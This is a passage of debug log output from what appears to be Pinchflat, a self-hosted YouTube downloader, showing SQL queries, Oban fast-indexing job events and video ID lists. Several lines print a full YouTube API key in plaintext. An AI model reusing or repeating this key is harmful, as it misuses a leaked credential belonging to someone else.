OK source="media_items" db=0.7ms idle=316.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 16:44:58.016 [debug] QUERY OK source="tasks" db=0.0ms idle=317.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268293, 9, ~U[2026-10-09 21:44:58Z], ~U[2026-10-09 21:44:58Z]] 16:44:58.016 [info] {"args":{"id":9},"id":5268254,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":319257,"event":"job:stop","queue_time":214953,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:44:58.125 [debug] QUERY OK source="media_items" db=0.3ms idle=108.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 16:44:58.126 [debug] QUERY OK source="media_items" db=0.1ms idle=109.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 16:44:58.126 [debug] QUERY OK source="tasks" db=0.1ms idle=103.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268294, 17, ~U[2026-10-09 21:44:58Z], ~U[2026-10-09 21:44:58Z]] 16:44:58.127 [info] {"args":{"id":17},"id":5268253,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":429609,"event":"job:stop","queue_time":523744,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:44:58.698 [info] {"args":{"id":11},"id":5268255,"meta":{},"system_time":1791582298698186741,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:44:58.698 [info] {"args":{"id":26},"id":5268256,"meta":{},"system_time":1791582298698227658,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:44:58.698 [debug] QUERY OK source="sources" db=0.1ms idle=571.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 16:44:58.698 [debug] QUERY OK source="sources" db=0.1ms idle=571.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 16:44:58.698 [debug] QUERY OK source="settings" db=0.0ms idle=565.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:58.698 [debug] QUERY OK source="settings" db=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:58.699 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:44:58.699 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:44:58.699 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:58.699 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 16:44:58.699 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:58.699 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 16:44:58.699 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:58.699 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:44:58.699 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:58.699 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:44:58.951 [debug] QUERY OK source="media_items" db=0.7ms idle=251.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "xxCqvOV-qdU", "luKNGNqXWiU", "9hf6QDQ8Zcc", "MD6_U_hMLt4", "9Eme-c6nqCs", "vankPlotnvE", "QGMjCPjUGlk", "5J9Sd4jJAy4", "HoVsWE1_JUk", "vdL21cIwIaA", "LIBSaNq8qFM", "nw5h-Vdeb6o", "MWy_nCypzFU", "4sLs2bPxwUU", "L7T3eGnzPN4", "HUvKLQpBn0U", "kTdv5qf7KCk", "TAhKuvWrReU", "sjez5hHWYys", "ywzcLeaYSPg", "KA2BT5VZw3k", "mNyKAPKal44", "fsyBvBEwraU", "4ATnadlQex4", "iri2lLTWImE", "d6SPfWamurY", "34P8ibb9wP4", "wvFyNI7PUqY", "yPGhKPOKj3k", "0vguAdTZqWk", "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", ...] 16:44:58.953 [debug] QUERY OK source="media_items" db=1.3ms idle=253.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 16:44:58.954 [debug] QUERY OK source="tasks" db=0.1ms idle=255.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268295, 11, ~U[2026-10-09 21:44:58Z], ~U[2026-10-09 21:44:58Z]] 16:44:58.954 [info] {"args":{"id":11},"id":5268255,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":256436,"event":"job:stop","queue_time":376761,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:44:59.141 [debug] QUERY OK source="media_items" db=0.6ms idle=186.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "h8rgsImRHuQ", "via0_wvzUZY", "DlwsK8hvmO4", "ex6jvnGa9uA", "aLoq_GYrI68", "TObpBJWbl1A", "WXKsP_yYwhE", "HtSsvOpSyT0", "tin9fSraDwI", "wOslLkkRVp8", "5OtS03t-3UM", "0ulic7lyghc", "aY5wQ0nDIgs", "SnNcKZSBZuI", "b_abz1qNqqQ", "re2Y9BQYVm8", "sOwFK6y93XE", "g8DhxTnzy6E", "MAeBbZHStLQ", "b1EwE57OgkI", "BgGXKzxTyRM", "ssaMKXWmYNc", "0-Ib3bm0hr0", "QegdQJxT3wg", "FHrR9JuUmSs", "MkzJIvNqVqI", "yPycoAY64gM", "GLzG9pPai0Q", "_tIXugC9I6Q", "ZLc88XpOidI", "5iGbp98gGIg", "OK3pGLT71jI", "v6nDYccHGL4", "kn6GYMTASUM", "N3LSKJlOFN8", "qg8TRfwmlbQ", "P1bfNN_qQWQ", "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", ...] 16:44:59.142 [debug] QUERY OK source="media_items" db=0.7ms idle=187.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 16:44:59.143 [debug] QUERY OK source="tasks" db=0.1ms idle=182.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268296, 26, ~U[2026-10-09 21:44:59Z], ~U[2026-10-09 21:44:59Z]] 16:44:59.143 [info] {"args":{"id":26},"id":5268256,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":445253,"event":"job:stop","queue_time":241273,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:44:59.699 [info] {"args":{"id":30},"id":5268257,"meta":{},"system_time":1791582299699249918,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:44:59.699 [info] {"args":{"id":8},"id":5268258,"meta":{},"system_time":1791582299699287587,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:44:59.699 [debug] QUERY OK source="sources" db=0.1ms idle=555.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 16:44:59.699 [debug] QUERY OK source="sources" db=0.1ms idle=555.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 16:44:59.699 [debug] QUERY OK source="settings" db=0.0ms idle=549.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:59.699 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:59.700 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:44:59.700 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:44:59.700 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:59.700 [debug] Fetching recent media IDs from YouTube API for playlist: UU81hVmI5eEBIt3s3HQpJd_w 16:44:59.700 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:59.700 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 16:44:59.700 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:59.700 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:44:59.700 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:44:59.700 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:44:59.873 [debug] QUERY OK source="media_items" db=0.3ms idle=173.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [30, "NeOhV4zOxJ4", "kpRGNxqv6Wk", "5XWEVoI40sE", "ObOqq1knVxs", "1Rx_p3NW7gQ", "xHotXbGZiFY", "k1BneeJTDcU", "ZIljQn1x7jw", "rYy0o-J0x20", "iE5WwlwJeDQ", "nt9c0UeYhFc", "dQTZVnDE2Qw", "ejc5zic4q2A", "QCVGpvzcHko", "Zxc20saM8DA", "L2rPEiWDbgo", "Eo9pU1q8sy8", "dcLFmN7aJe0", "6hCQLEIWadk", "iuF6CpML3IQ", "tqbziT3ZaY8", "yO5vFJLc7M0", "KBICg--AKdM", "YlMg9XgBDW0", "PpypHPzkeRU", "9Fg-dQxQOEs", "2z0RxTEJRkc", "eeO7COzVWnk", "W0quDfpfRUQ", "Z-ap5Fp2T6c", "obIGsb-IZMo", "2LzgYWCgkZk", "7uvXsgSI-n4", "0tQxKp351QQ", "MboeozTBgD8", "Z5UCZt20la8", "EtkDpYlySRM", "6B4Lrl9pdAA", "LZoO8LyizLA"] 16:44:59.874 [debug] QUERY OK source="media_items" db=0.2ms idle=173.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = 